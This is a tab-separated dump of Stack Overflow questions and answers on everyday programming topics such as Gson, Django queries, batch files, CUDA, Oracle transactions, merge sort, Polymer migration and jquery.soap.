36776725	0	 <p><a href="https://github.com/google/gson" rel="nofollow">Google's gson library</a> doesn't require you to use annotations or constructors:</p> <pre><code>import com.google.gson.Gson; import java.util.Date; public class Test { public static void main(String[] args) { Gson gson = new Gson(); String toJson = gson.toJson(new Thing()); System.out.println(toJson); // prints {"appleType":"granny","date":"Apr 21, 2016 10:31:17 AM","numPies":6} Thing fromJson = gson.fromJson(toJson, Thing.class); System.out.println(fromJson); // prints com.mycompany.mavenproject1.Thing@506c589e } } class Thing { String appleType = "granny"; Date date = new Date(); int numPies = 6; } </code></pre> <p>Jackson may have similar features, but I don't know.</p>
16113761	0	 MIDL (Microsoft Interface Definition Language) is a text-based interface description language by Microsoft, based on the DCE/RPC IDL which it extends for use with the Microsoft Component Object Model. Its compiler is also called MIDL.
15379134	0	Regular Expression for mm/dd/yyyy in asp.net <p>What would be the regular expression for mm/dd/yyyy in asp.net with month ,date and year validation?</p>
33051015	0	 <p>Since the price requires a decimal value we should supply it a decimal value. Try the following view:</p> <pre><code>def get_queryset(self, *args, **kwargs): qs = super(ProductListView, self).get_queryset(*args,**kwargs) query = self.request.GET.get("q", False) # provide default value or you get a KeyError if query: filter_arg = Q(title__icontains=query) | Q(description__icontains=query) try: filter_arg |= Q(price=float(query)) except ValueError: pass qs = self.model.objects.filter(filter_arg) return qs </code></pre> <p><code>qs = super(ProductListView, self).get_queryset(*args,**kwargs)</code> This is used to obtain the queryset provided by the parent classes of our view class <code>ProductListView</code>. Look in to python classes and inheritance here: <a href="http://www.jesshamrick.com/2011/05/18/an-introduction-to-classes-and-inheritance-in-python/" rel="nofollow">http://www.jesshamrick.com/2011/05/18/an-introduction-to-classes-and-inheritance-in-python/</a></p> <p><code>filter_arg |= Q(price=float(query))</code> this is used to append to our filter_arg value. It's the same as <code>filter_arg = filter_arg | Q(price=float(query)</code></p> <p><code>float(query)</code> with this we are trying to convert the query variable to a float and we put this in a <code>try</code> statement because it could give us a <code>ValueError</code> in which case the <code>query</code> value is not a <code>float</code>.</p>
5145623	0	 <p>The opensource framework <a href="https://github.com/ekonbenefits/impromptu-interface">Impromptu-Interface</a> was designed to do this. It generates a cached lightweight proxy with a static interface and uses the dlr to forward the invocation to the original object.</p> <pre><code>using ImpromptuInterface; public interface ISimpeleClassProps { string Prop1 { get; } long Prop2 { get; } Guid Prop3 { get; } } </code></pre> <p>-</p> <pre><code>dynamic tOriginal= new ExpandoObject(); tOriginal.Prop1 = "Test"; tOriginal.Prop2 = 42L; tOriginal.Prop3 = Guid.NewGuid(); ISimpeleClassProps tActsLike = Impromptu.ActLike(tOriginal); </code></pre>
16740810	0	 <p>The reference assemblies are empty placeholder assemblies installed with visual studio that are used during compilation.</p> <p>Try repairing visual studio.</p>
28279970	1	Batch file runs with "not recognized...command", how to fix this? <p>I have a batch file which when executed sets PATHs, prompts user for input and loads a script via Python. The python script creates a grid with the size of each cell determined by the user input variable (<code>cellsize</code>). The following is from my .bat file:</p> <pre><code>@echo off rem Root OSGEO4W home dir to the following directory call "C:\OSGeo4W64\bin\o4w_env.bat" rem List available o4w programs rem but only if osgeo4w called without parameters @echo on set PYTHONPATH=C:\OSGeo4W64\apps\qgis\python set PATH=C:\OSGeo4W64\apps\qgis\bin;%PATH% @echo off echo. set /p cellsize="Enter cellsize: " cellsize=1 cmd /k python "Script.py" %cellsize% @echo on </code></pre> <p>The .bat works the way it's supposed to, I obtain the correct results, but I receive the following error:</p> <blockquote> <p>'cellsize' is not recognized as an internal or external command, operable program or batch file</p> </blockquote> <p>What simple mistake(s) did I make? I am a beginner but still learning.</p>
24072511	0	 <p>You could generate the groupings using <code>cut</code> and then use a <code>facet_grid</code> to display the multiple histograms:</p> <pre><code># Sample data with y depending on x set.seed(144) dat &lt;- data.frame(x=rnorm(1000)) dat$y &lt;- dat$x + rnorm(1000) # Generate bins of x values dat$grp &lt;- cut(dat$x, breaks=2) # Plot library(ggplot2) ggplot(dat, aes(x=y)) + geom_histogram() + facet_grid(grp~.) </code></pre> <p><img src="https://i.stack.imgur.com/fHzq6.png" alt="enter image description here"></p>
15265016	0	 <p>As far as I can help you is to check this: <a href="http://stackoverflow.com/questions/12512417/asp-net-mvc-4-ajax-beginform-and-html5">ASP.NET MVC 4 - Ajax.BeginForm and html5</a></p> <p>And maybe this (you can get an idea or two here): <a href="http://stackoverflow.com/questions/11036942/mvc4-ajax-beginform-and-partial-view-gives-undefined">MVC4 - Ajax.BeginForm and Partial view gives &#39;undefined&#39;</a></p>
22968999	0	 <p>Here you go: <strong>Fiddle</strong> <a href="http://jsfiddle.net/fx62r/2/" rel="nofollow">http://jsfiddle.net/fx62r/2/</a></p> <p><code>inline-block</code> leaves white-space between elements. I would use <code>float: left;</code> instead of inline block</p> <p>Write elements on same line to avoid white-space. Like this:</p> <p><code>&lt;div class="icon"&gt;&lt;/div&gt;&lt;div class="title"&gt;&lt;/div&gt;&lt;div class="icon"&gt;&lt;/div&gt;</code></p> <p>And remove Margin:</p> <pre><code> .icon { margin: 0 0.2em 0.2em 0; //Remove. } .title { margin: 0 0.2em 0.2em 0; //Remove } </code></pre>
9424244	0	 <p>My answer <a href="http://stackoverflow.com/questions/9363827/building-gpl-c-program-with-cuda-module">to this recent question</a> likely describes what you need.</p> <p>A couple of additional notes:</p> <ol> <li>You don't need to compile your .cu to a .cubin or .ptx file. You need to compile it to a .o object file and then link it with the .o object files from your .cpp files compiled wiht g++.</li> <li>In addition to putting your cuda kernel code in cudaFunc.cu, you also need to put a C or C++ wrapper function in that file that launches the kernel (unless you are using the CUDA driver API, which is unlikely and not recommended). Also add a header file with the prototype of this wrapper function so that you can include it in your C++ code which needs to call the CUDA code. Then you link the files together using your standard g++ link line.</li> </ol> <p>I'm starting to repeat my <a href="http://stackoverflow.com/questions/9363827/building-gpl-c-program-with-cuda-module">other answer</a>, so I recommend just reading it. :)</p>
24987866	0	 <p>Make sure that you are using the proper <code>yourtablename</code> and following name conventions. The table name is always lower-case and pluralized. </p> <p>For example, if your model name is <code>User</code>, your table name is <code>users</code>. If your model name is <code>Image</code>, your table name will be <code>images</code>. </p> <p>Let me know if this solved the problem. </p>
33644746	0	 <p>I had to use this code to check if the file exist or not.</p> <pre><code>Dim currentPath As String = System.IO.Path.Combine(IO.Directory.GetCurrentDirectory(), Textbox1.Text) If IO.File.Exists(currentPath) Then ..Do something here Else MsgBox("Executable doesn't exist!", vbOKOnly, "Error!") End If </code></pre>
12193531	0	 <p>You should use this structure to manage transactions with Oracle (see <a href="http://msdn.microsoft.com/en-us/library/system.data.oracleclient.oracletransaction.commit%28v=vs.100%29.aspx#Y612" rel="nofollow">MSDN docs</a>) :</p> <pre><code>Public Sub RunOracleTransaction(ByVal connectionString As String) Using connection As New OracleConnection(connectionString) connection.Open() Dim command As OracleCommand = connection.CreateCommand() Dim transaction As OracleTransaction ' Start a local transaction transaction = connection.BeginTransaction(IsolationLevel.ReadCommitted) ' Assign transaction object for a pending local transaction command.Transaction = transaction Try command.CommandText = _ "INSERT INTO Dept (DeptNo, Dname, Loc) values (50, 'TECHNOLOGY', 'DENVER')" command.ExecuteNonQuery() command.CommandText = _ "INSERT INTO Dept (DeptNo, Dname, Loc) values (60, 'ENGINEERING', 'KANSAS CITY')" command.ExecuteNonQuery() transaction.Commit() Console.WriteLine("Both records are written to database.") Catch e As Exception transaction.Rollback() Console.WriteLine(e.ToString()) Console.WriteLine("Neither record was written to database.") End Try End Using End Sub </code></pre>
11503342	0	 <p>You are looking for the two properties:</p> <ul> <li><a href="http://msdn.microsoft.com/en-us/library/system.windows.forms.listcontrol.valuemember.aspx" rel="nofollow"><code>ValueMember</code></a>.</li> <li><a href="http://msdn.microsoft.com/en-us/library/system.windows.forms.listcontrol.displaymember.aspx" rel="nofollow"><code>DisplayMember</code></a>.</li> </ul> <p>In your case, you have to set the combobox's <code>ValueMember</code> property to <code>value1</code> and the <code>DisplayMember</code> property to <code>option1</code>.</p> <p><strong>Update:</strong> The following is an exmple of how you can populate the items of a combobox from list of some entity <code>Foo</code>:</p> <pre><code>public class Foo(){ public string Id { get; set; } public string Name { get; set; } } var ds = new List&lt;Foo&gt;(){ new Foo { Id = "1", Name = "name1" }, new Foo { Id = "2", Name = "name2" }, new Foo { Id = "3", Name = "name3" }, new Foo { Id = "4", Name = "name4" }, }; comboboxName.DataSource = ds; comboboxName.ValueMember = "Id"; comboboxName.DisplayMember = "Name"; </code></pre> <p><strong>Update2:</strong> That's because you are adding the same object each time. In the following block of your code:</p> <pre><code>Foo categoryInsert = new Foo(); foreach (string s in categories) { categoryInsert.path = s; categoryInsert.name = s; combo3data.Add(categoryInsert); } </code></pre> <p>Each time The <code>foreach</code> iterate over the <code>categories</code>, all what it does, is changing the same object <code>categoryInsert</code>'s values <code>path</code> and <code>name</code> not creating a new one. Thus, you end up with the same object added in each iteration to the <code>combo3data</code>. What you need is create a new <code>Foo</code> object inside the <code>foreach</code> itself each time, i.e: move the <code>Foo categoryInsert = new Foo();</code> inside the <code>foreach</code> loop. Something like:</p> <pre><code>foreach (string s in categories) { Foo categoryInsert = new Foo(); categoryInsert.path = s; categoryInsert.name = s; combo3data.Add(categoryInsert); } </code></pre>
11898420	0	 <p>Heres an answer I cribbed, genericised and brought up to date from <a href="http://www.cs.nyu.edu/~vs667/articles/mergesort/" rel="nofollow">here</a></p> <pre><code>public static IList&lt;T&gt; MergeSort&lt;T&gt;( this IList&lt;T&gt; unsorted, IComparer&lt;T&gt; comparer = null) { if (unsorted == null || unsorted.Count &lt; 2) { return unsorted; } if (comparer == null) { comparer = Comparer&lt;T&gt;.Default; } IList&lt;T&gt; sorted = new List&lt;T&gt;(); int middle = (int)unsorted.Count/2; Ilist&lt;T&gt; left = unsorted.GetRange(0, middle); IList&lt;T&gt; right = unsorted.GetRange(middle, unsorted.Count - middle); var sortLeft = Task&lt;IList&lt;T&gt;&gt;.Factory.StartNew( () =&gt; left.MergeSort(comparer)); var sortRight = Task&lt;IList&lt;T&gt;&gt;.Factory.StartNew( () =&gt; right.MergeSort(comparer)); left = sortLeft.Result; right = sortRight.Result; int leftPtr = 0; int rightPtr = 0; for (int i = 0; i &lt; left.Count + right.Count; i++) { if (leftPtr == left.Count) { sorted.Add(right[rightPtr]); rightPtr++; } else if (rightPtr == right.Count) { sorted.Add(left[leftPtr]); leftPtr++; } else if (comparer.Compare(left[leftPtr], right[rightPtr]) &lt; 0) { sorted.Add(left[leftPtr]); leftPtr++; } else { sorted.Add(right[rightPtr]); rightPtr++; } } return sorted; } </code></pre> <p>This code, will use the default <code>IComparer&lt;T&gt;</code> unless you pass your own.</p> <p>As you can see this code self iterates on each half of the unsorted array, I've added some code using the <a href="http://msdn.microsoft.com/en-us/library/dd537613.aspx" rel="nofollow"><code>Task</code></a> TPL class to run those calls asynchronously on seperate threads.</p> <p>You could use the code like this,</p> <pre><code>var strings = new List&lt;string&gt; { "cixymn", "adfxij", "adxhxy", "abcdef", "iejfyq", "uqbzxo", "aaaaaa" }; var sortedStrings = strings.MergeSort(); </code></pre> <p>If the default string comparer is not lexicographical enough for you, you could instantiate and pass your a selected <a href="http://msdn.microsoft.com/en-us/library/system.stringcomparer.aspx" rel="nofollow"><code>StringComparer</code></a>, perhaps like this,</p> <pre><code>var sortedStrings = strings.MergeSort(StringComparer.OrdinalIgnoreCase); </code></pre> <p>In the unlikely event that none of the <code>StringComparer</code>s meet your requirements, you could write your own implementation of <code>IComparer&lt;string&gt;</code> and pass that to the <code>MergeSort</code> function instead.</p> <p>In any case, it makes sense to keep the merge sort generic and resuable for all types and pass the specialization into the function. </p>
22195715	0	 <p>There are multiple ways to do what you are trying to do, the easiest one would be the following:</p> <pre><code>OutputDict = {} for key in Dict1.iterkeys(): if key in Dict2: OutputDict[key] = Dict1[key] + Dict2[key][2] </code></pre> <p>Since all the operations are O(1), and we run it for each key on Dict1 (or Dict2 depending) all this runs in O(min(n,m)) where n is the length of Dict1 and m the length of Dict2</p>
2093416	0	Group by and non distinct columns and data normalization <p>I have a large table(60 columns, 1.5 million records) of denormalized data in MS SQL 2005 that was imported from an Access database. I've been tasked with normalizing and inserting this data into our data model. </p> <p>I would like to create a query that used a grouping of, for example "customer_number", and returned a result set that only contains the columns that are non distinct for each customer_number. I don't know if it's even possible, but it would be of great help if it was.</p> <p>Edit:if my table has 3 columns(cust_num,cust_name_cust_address) and 5 records</p> <pre><code>|cust_num|cust_name|cust_address |01 |abc |12 1st street |02 |cbs |1 Aroundthe Way |01 |abc |MLK BLVD |03 |DMC |Hollis Queens |02 |cbs |1 Aroundthe Way </code></pre> <p>the results from my desired query should just be the data from cust_num and cust_name because cust_address has different values for that grouping of cust_num. A cust_num has many addresses but only one cust_name.</p> <p>Can someone point me in the right direction? </p> <p>Jim</p>
37439331	0	 <p>Since you have your javascript loading before your html, <code>document.getElementById("demo")</code> ends up being null, since the DOM hasn't loaded yet.</p> <p>Try moving that javascript to the bottom (I put it after the body tag, but not sure this is best practice). This way the DOM loads first, and then your javascript knows where to find the id of "demo".</p>
1148149	0	 <p>You can just calculate in your query like this:</p> <pre><code>$query = "SELECT (Sqrt(min. Economy) x ( 1 + Sqrt(Distance)/75 + Sqrt(Players)/10 ) Sqrt(88) x ( 1 + Sqrt(23)/75 + Sqrt(23)/10 ) = 15 cred./h) as `Distance`, * FROM routes ORDER BY id DESC LIMIT 8;"; </code></pre> <p>Use as for naming your calculation so its become a column and use * to get the other fields.</p>
28064493	0	 <p>An IBAction method has the format</p> <pre><code>-(IBAction)name:(id)sender </code></pre>
29776560	0	 <p>Solution:</p> <pre><code>public static void UiInvoke(Action a) { Application.Current.Dispatcher.Invoke(a); } </code></pre> <p>And how to call it:</p> <pre><code>UiInvoke(() =&gt; { Seznam.Add(new Model.Zprava(DateTime.Now.ToString(), data, Model.Od.Server)); }); </code></pre>
4893178	0	 <p>From my poking around, it doesn't look like there's much you can do. You might have luck using <code>autoconf</code> to generate <code>setup.py</code>, or you could use <code>automake</code> and <code>libtool</code> and do the whole thing with autofoo. Automake provides a macro <code>AM_PATH_PYTHON</code> that sets a whole pile of useful variables and gives the following example for declaring an extension module:</p> <pre><code>pyexec_LTLIBRARIES = quaternion.la quaternion_la_SOURCES = quaternion.c support.c support.h quaternion_la_LDFLAGS = -avoid-version -module </code></pre>
26117479	0	Facebook long lived Page Access Token <p>I am administrator of facebook page which DOES NOT have a classic facebook account assigned. So I am not able to create any facebook application as you can see in Picture <a href="https://i.stack.imgur.com/umeyL.png" rel="nofollow noreferrer">1</a>. How can I obtain long lived (never expiring) page access token, which I need to use Graph API? I need to post messages to the facebook page from my server.</p> <p>Thanks for advice</p> <p><img src="https://i.stack.imgur.com/umeyL.png" alt="enter image description here"></p>
40464006	0	 <p>Try like this :</p> <pre><code> progressDialog = new ProgressDialog(getActivity()); </code></pre> <p>And if you wish to customize your dialog and put self created Layout in it.</p> <pre><code>/** * Created by vivek on 18/10/16. */ public class CustomDialog { private static Dialog dialog; private static Context context; public CustomDialog(Context context) { this.context = context; } /** * Comman progress dialog ... initiates with this * * @param message * @param title */ public static void showProgressDialog(Context context, String title, String message) { if (dialog == null) { dialog = new Dialog(context); dialog.requestWindowFeature(Window.FEATURE_NO_TITLE); dialog.setContentView(R.layout.custom_loader); dialog.setCancelable(false); dialog.setCanceledOnTouchOutside(false); dialog.show(); } } public static boolean isProgressDialogRunning() { if (dialog != null &amp;&amp; dialog.isShowing()) { return true; } else return false; } /** * Dismiss comman progress dialog */ public static void dismissProgressDialog() { if (dialog != null &amp;&amp; dialog.isShowing()) { dialog.dismiss(); dialog = null; } } } // End of main class over here ... </code></pre>
4381251	0	 <p>The simpliest solution depends from wich method did you like to send mails.</p> <p>If you have for example already installed sendmail - in this case to send the mail with notification log you can call it with params. It depend on your system settings.</p>
19960459	0	 <p>Do not use response in that case, this will ask the Save as dialog box. If you want to save the file to your disk without any prompt do something like this. I am giving you in C#</p> <pre><code>System.Web.UI.WebControls.DataGrid grid = new System.Web.UI.WebControls.DataGrid(); grid.HeaderStyle.Font.Bold = true; grid.DataSource = datatable; grid.DataMember = datatable.TableName; grid.DataBind(); using(StreamWriter sw = new StreamWriter ("d:\\temp\test.xls")) { using (HtmlTextWriter hw = new HtmlTextWriter(sw)) { grid.RenderControl(hw); } } </code></pre>
29447937	0	 <p>Below are my notes on the conversion process from Polymer 0.5 to 0.8.</p> <h3>See Polymer 0.8 Migration Guide</h3> <p><a href="https://www.polymer-project.org/0.8/docs/migration.html" rel="nofollow">https://www.polymer-project.org/0.8/docs/migration.html</a></p> <h3>HTML Conversion Process</h3> <ol> <li>polymer-element to dom-module</li> <li>polymer-element name to <li>polymer-element attribute/property camelCase to dash-case</li> <li>polymer-element attributes="xxx xxxx" add to javascript properties</li> <li>polymer-element layout <code>&lt;polymer-element name="x-foo" layout horizontal wrap&gt;</code> <ul> <li>add <code>&lt;link rel="import" href="../layout/layout.html"&gt;</code> to top with other imports</li> <li>add hostAttributes <code>hostAttributes: {class: "layout horizontal wrap"}</code> to Polymer({</li> </ul></li> <li>polymer-element move up <code>&lt;link rel="import" type="css" href="my-awesome-button.css"&gt;</code> from <code>&lt;template&gt; to &lt;dom-module&gt;</code> </li> <li>polymer-element move up <code>&lt;style&gt;&lt;/style&gt;</code> from <code>&lt;template&gt;</code> to <code>&lt;dom-module&gt;</code> <ul> <li>see www.polymer-project.org/0.8/docs/devguide/local-dom.html</li> </ul></li> <li>template repeat to is="x-repeat" and repeat= to items= (temporary) <ul> <li>see www.polymer-project.org/0.8/docs/devguide/experimental.html</li> </ul></li> <li>template is="auto-binding" to is="x-binding" (temporary)</li> <li>template if= to is="x-if" (temporary) or use diplay block or none</li> <li>textContent binding from <code>&lt;div&gt;First: {{first}}&lt;/div&gt;</code> TO <code>&lt;span&gt;{{first}}&lt;/span&gt;&lt;br&gt;</code></li> <li>elements <code>on-click="{{handleClick}}"</code> to <code>on-click="handleClick"</code></li> </ol> <h3>Javascript Conversion Process</h3> <ol> <li>polymer-element name to Polymer({ is: </li> <li>polymer-element attributes="" to javascript <code>properties: { }</code></li> </ol> <h3>CSS Conversion Process</h3> <ol> <li>polymer-element move up <code>&lt;style&gt;&lt;/style&gt;</code> from <code>&lt;template&gt;</code> to <code>&lt;dom-module&gt;</code> (as noted above) <ul> <li>see www.polymer-project.org/0.8/docs/migration.html#styling</li> </ul></li> </ol> <h3>Difference example of paper-button conversion by Polymer team</h3> <p><a href="http://chuckh.github.io/road-to-polymer/compare-code.html?el=paper-button" rel="nofollow">http://chuckh.github.io/road-to-polymer/compare-code.html?el=paper-button</a></p>
4046054	0	 <p>It is kind of possible using <code>in_array()</code>:</p> <pre><code>if (in_array($_SESSION['id'], array("000001", "000002"))) </code></pre> <p>or alternatively using <code>switch</code>:</p> <pre><code>switch ($_SESSION["id"]) { case "000001": case "000002": // do something break; default: break; } </code></pre>
25882323	0	 <p>The issue is that jquery.soap is not accounting for <code>CDATA</code> elements, in <a href="https://github.com/doedje/jquery.soap/blob/f642fc079e2d7ea40b2ea1fc12070b068ff0770b/jquery.soap.js" rel="nofollow">the current code of the jquery.soap.js file</a>, inside the function <code>dom2soap</code>, from line 482 to line 488 there is this code:</p> <pre><code> if (child.nodeType === 1) { var childObject = SOAPTool.dom2soap(child); soapObject.appendChild(childObject); } if (child.nodeType === 3 &amp;&amp; !whitespace.test(child.nodeValue)) { soapObject.val(child.nodeValue); } </code></pre> <p>The problem is that the <code>nodeType</code> for a <code>CDATA</code> element is 4, so your <code>CDATA</code> elements are being ignored. </p> <p>I've forked the original jquery.soap repo, I've created a new branch called <code>cdata-fix</code> and I've made a few changes in the jquery.soap.js file that should solve your issue. <a href="https://github.com/josepot/jquery.soap/commit/4ebf86b4cc21012e2aedbb64ab27ef81b03dc915#diff-85e01184326c2ae667438b42ecbdc31c" rel="nofollow">You can see those changes here</a>.</p> <p>I've created <a href="https://github.com/doedje/jquery.soap/pull/61" rel="nofollow">this pull request</a> in the jquery.soap repo, hopefully the pull request will be accepted, but in the meanwhile feel free to use my version of the jquery.soap.js, I'm quite confident that it will work just fine.</p> <p>In <strong><a href="http://plnkr.co/edit/EY0lmyJESSO2FV8j6LIp?p=preview" rel="nofollow">this Plunker</a></strong> you can see that the changes that I've made to the jquery.soap.js file are fixing your issue. (Have a look at the payload of the post with a 404 error)</p> <p><strong>UPDATE:</strong></p> <p>The pull request <a href="https://github.com/doedje/jquery.soap/pull/61" rel="nofollow">has been accepted</a>.</p>
30780847	0	 <p>You can use the following function for that, it will handle your two delimiters for spli</p> <pre><code>CREATE FUNCTION dbo.MultipleSplitStrings ( @List NVARCHAR(MAX), @Separator1 Varchar(100), @Separator2 Varchar(100) ) RETURNS TABLE AS RETURN ( SELECT Item = y.i.value('(./text())[1]', 'nvarchar(4000)') FROM ( SELECT x = CONVERT(XML, '&lt;i&gt;' + REPLACE(REPLACE(@List, ISNULL(@Separator1,''), '&lt;/i&gt;&lt;i&gt;') , ISNULL(@Separator2,''), '&lt;/i&gt;&lt;i&gt;') + '&lt;/i&gt;').query('.') ) AS a CROSS APPLY x.nodes('i') AS y(i) ); GO Select * From dbo.MultipleSplitStrings ('10:0,11:1,12:3,13:4,15:5,16:6',',',':') </code></pre> <p>Result :</p> <pre><code>item 10 0 11 1 12 3 13 4 15 5 16 6 </code></pre>
13222960	0	How to revoke the permission that my app get from user's google gmail AccountManager.getAuthToken( <p>Created a test app using Eclipse to get the <code>authToken</code> from one of my google e-mail accounts on my device.</p> <p>Executing this prompted me with the allow access dialog where i press allow access: </p> <pre><code>accountManager.getAuthToken(account,"oauth2:https://www.googleapis.com/auth/userinfo.profile", false, new GetAuthTokenCallback(), null); </code></pre> <p>I wanted to create a chooser dialog that works from API8 and up where the user can choose what google account he allow me to access. To do this i have to revoke the permission to see the screen again. </p> <p>should i see my test app on this page or not?<br> <a href="https://accounts.google.com/b/0/IssuedAuthSubTokens?hl=en" rel="nofollow"><strong>Authorized Access to your Google Account</strong></a></p> <p>I have search for a way to revoke the permission and non is working..<br> Only thing working is to create a new app project. </p> <p><strong>UPDATE 2013</strong><br> Using the Google Play service GCM and this is working ok</p>
40553016	0	 <p>After reviewing all the other answers, I ended up with this:</p> <pre><code>function oldSchoolMakeBuild(cb) { var makeProcess = exec('make -C ./oldSchoolMakeBuild', function (error, stdout, stderr) { stderr &amp;&amp; console.error(stderr); cb(error); }); makeProcess.stdout.on('data', function(data) { process.stdout.write('oldSchoolMakeBuild: '+ data); }); } </code></pre> <p>Sometimes <code>data</code> will be multiple lines, so the <code>oldSchoolMakeBuild</code> header will appear once for multiple lines. But this didn't bother me enough to change it.</p>
1779395	0	 <p><code>do { … }</code> requires a condition at the end, such as <code>do { … } while (busy);</code> If you just want to execute a piece of code in a block, just put that block there and remove the <code>do</code>.</p>
13372749	0	Percent errors using the arc cosine function trying to output 3 different numbers of percentages <p>I coded all of this but it will not output any of my percent errors i'm not quite sure where to put the percent? It is suppose to output 3 different numbers but I can't even get to the output because of this error i have no idea i tried changing everything to floats and and ints but the error message of % is overloading the function?</p> <pre><code>double dRandom() { return double(rand()/RAND_MAX); } int main() { int loop_count=100, count=0; int result=0; float x=dRandom(); double y=dRandom(); float arccos (float x); float function=0; srand(time(NULL)); for(int i=1; i&lt;4;++i) { for (int k=1; k&lt;= loop_count; ++k) { function= (x* arccos(x)-sqrt(1- pow(x,2)))%RAND_MAX;//this line is where i'm not sure how to add the percent sign in correctly } } if(x&lt;y) cout&lt;&lt;result; return 0; } </code></pre>
12385977	0	preg_replace with two arrays <p>I've have a problem with <code>preg_replace()</code> using arrays.</p> <p>Basically, I'd like to transpose this string ;</p> <pre><code>$string = "Dm F Bb F Am"; </code></pre> <p>To </p> <pre><code>$New_string = "F#m D D A C#m"; </code></pre> <p>Here is what I do: </p> <pre><code>$Find = Array("/Dm/", "/F/", "/Bb/", "/Am/", "/Bbm/", "/A/", "/C/"); $Replace = Array('F#m', 'A', 'D', 'C#m', 'Dm', 'C#', 'E'); $New_string = preg_replace($Find, $Replace, $string); </code></pre> <p>But I get this result instead :</p> <p>E##m E# D E# E#m</p> <p>Problem is that every match is replaced by the following, something like this happens (example for E##m):</p> <p>Dm -> F#m -> A#m -> C##m -> E##m</p> <p>Is there any solution to simply change 'Dm' to 'F#m', "F" to "A", etc ?</p> <p>Thank you !</p>
33755378	0	 <p>I've already tried to use commands.flush() before call the close() method, but this don't change anything.</p> <p>Instead, if I write more than one file, as an example file-1.xml, file-2.xml, file-3.xml, the files numer one and two was written before I closing the application and the file number three was written only after closing.</p>
9150845	0	 <p>With CSS3 you can now target the [title] attribute but as to a real world solution i don't see any. I would rather suggest you used a plugin such as <a href="http://onehackoranother.com/projects/jquery/tipsy/" rel="nofollow">tipsy</a> for that task, as it is more cross browser supported and less fuss.</p> <p>This is a demo of a styled [title] attribute:</p> <p><strong>CSS</strong></p> <pre><code>span:hover { color: red; position: relative; } span[title]:hover:after { content: attr(title); padding: 4px 8px; color: #333; position: absolute; left: 0; top: 100%; white-space: nowrap; z-index: 20px; -moz-border-radius: 5px; -webkit-border-radius: 5px; border-radius: 5px; -moz-box-shadow: 0px 0px 4px #222; -webkit-box-shadow: 0px 0px 4px #222; box-shadow: 0px 0px 4px #222; background-image: -moz-linear-gradient(top, #eeeeee, #cccccc); background-image: -webkit-gradient(linear,left top,left bottom,color-stop(0, #eeeeee),color-stop(1, #cccccc)); background-image: -webkit-linear-gradient(top, #eeeeee, #cccccc); background-image: -moz-linear-gradient(top, #eeeeee, #cccccc); background-image: -ms-linear-gradient(top, #eeeeee, #cccccc); background-image: -o-linear-gradient(top, #eeeeee, #cccccc); } </code></pre> <p>Demo: <a href="http://jsfiddle.net/BvGHS/" rel="nofollow">http://jsfiddle.net/BvGHS/</a></p>
40125667	0	 <p>Have a look at <a href="https://github.com/linq2db/linq2db" rel="nofollow">LinqToDb</a>. It also has a version for Mono and it should work with Unity3D.</p> <p>Good luck.</p>
5695226	0	Send part of an arraylist <p>I have an <code>arraylist</code> in Java that I fill with certain data, but I want to send the array list starting at certain a index say, e.g.: <code>20</code>.</p>
3000283	0	 <pre><code>p.location[0].name ## OR p.location.first.name </code></pre> <p>p.location is an array of one element</p>
40678084	0	Using jQuery plugins inside Typescript file <p>I'm using typescript for the first time in my company projects, and I have this JS file:</p> <pre><code>/// &lt;reference path="jquery.d.ts" /&gt; /// &lt;reference path="bootstrap-switch.d.ts" /&gt; function CreateIdeSkuValidoSwitch() { $("[name='actived_ideskuvalido']").bootstrapSwitch(); } </code></pre> <p>But when I will use this in my Typescript function, the compile say: property does not exist on type 'jQuery'.</p> <p>I want to know, how I use this jQuery plugin switch inside my ts files with jQuery.</p> <p>Sorry my bad english.</p>
40246073	0	 <p>Please edit the code, it looks like you have an error on mongo with 'Admin.findOne'</p> <pre><code>if(err) deferred.resolve(err); </code></pre> <p>to </p> <pre><code>if(err) deferred.reject(err); </code></pre>
14068247	0	Why am I getting undefined method `comments' when using acts_as_commentable_with_threading? <p>On the community's #show page, I get:</p> <blockquote> <p>undefined method `comments'</p> </blockquote> <p>I was wondering why was I get this error?</p> <p><strong>community_topics_controller.rb</strong></p> <pre><code>def show @community_topic = CommunityTopic.find params[:id] @comment = @community_topic.comments.build @community_topic.comments.pop respond_to do |format| format.html # show.html.erb format.json { render json: @community_topic } end end </code></pre> <p><strong>models/community_topic.rb</strong></p> <pre><code>acts_as_commentable </code></pre> <p><strong>views/community_topics/show.html.erb</strong></p> <pre><code>&lt;%= render 'comments/form' %&gt; </code></pre> <p><strong>views/comments/_form.html.erb</strong></p> <pre><code> &lt;div class="field"&gt; &lt;%= f.label :comment %&gt;&lt;br /&gt; &lt;%= f.text_area :comment %&gt; &lt;%= f.hidden_field :commentable_id %&gt; &lt;%= f.hidden_field :commentable_type %&gt; &lt;/div&gt; </code></pre>
21859548	0	 <p>My understanding is that you want to execute the onResize() function when the resize event is received. You seem to be a bit out of sync with how the document-ready stuff is intended to work -- and I recommend that you read some of the basic jquery tutorials -- but, basically, you want to use the function in $(function()....) to apply the event handler to the window after the document is fully loaded. </p> <p>Here, you seem to be -- mistakenly -- assuming that your running $(window).resize... after calling $(docyument).ready...would have waited until the .ready() function executed, but that's not how that works. The code that should be executed after the document reaches the fully-loaded state should go into the function parameter to $().</p> <p>Basically, you want to put your event handler assignment in the .ready() function like this:</p> <pre><code>$(function() { $(window).resize(onResize); }); </code></pre>
29412661	0	 <p>As you ask specifically about the BBC: </p> <p>You <em>are</em> allowed to display <a href="http://www.bbc.co.uk/news/10628494" rel="nofollow">the RSS feed of BBC headlines</a> - you could use the WordPress <a href="https://codex.wordpress.org/WordPress_Widgets#Using_RSS_Widgets" rel="nofollow">RSS Links widget</a> to do this.</p> <p>You certainly <em>aren't</em> allowed to just copy someone else's story (or start removing branding etc.) – which is quite reasonable.</p> <p>Note: The BBC doesn't have an <a href="https://en.wikipedia.org/wiki/Application_programming_interface" rel="nofollow">API</a> for news, but some do - e.g. The Guardian's <a href="http://open-platform.theguardian.com/" rel="nofollow">Open Platform</a> - again there will usually be strict restrictions on how you can display things, required branding, what you are/aren't allowed to change. </p> <p>Correct approach: choose one or two relevant quotes you find interesting, highlight those, and make sure you have prominent link back to the original article.</p>
29102377	0	 <p>This worked for me:</p> <blockquote> <p>To remove extra space Use the code as</p> <pre><code>zpc.write("! UTILITIES\r\nIN-MILLIMETERS\r\nSETFF 10 2\r\nPRINT\r\n".getBytes()); zp.getGraphicsUtil().printImage(bmp,0,0,100,100,false); </code></pre> <p>where the 4th and the 5th parameters can be as you required ...</p> </blockquote>
